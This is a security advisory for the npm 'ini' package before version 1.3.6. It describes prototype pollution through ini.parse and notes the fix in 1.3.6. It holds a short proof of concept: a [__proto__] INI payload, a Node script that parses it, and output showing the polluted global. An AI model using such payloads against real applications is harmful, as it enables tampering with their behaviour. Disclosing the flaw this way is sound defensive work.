ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
### Overview
The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.

### Patches

This has been patched in 1.3.6.

### Steps to reproduce

payload.ini
```
[__proto__]
polluted = "polluted"
```

poc.js:
```
var fs = require('fs')
var ini = require('ini')

var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
```

```
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
```
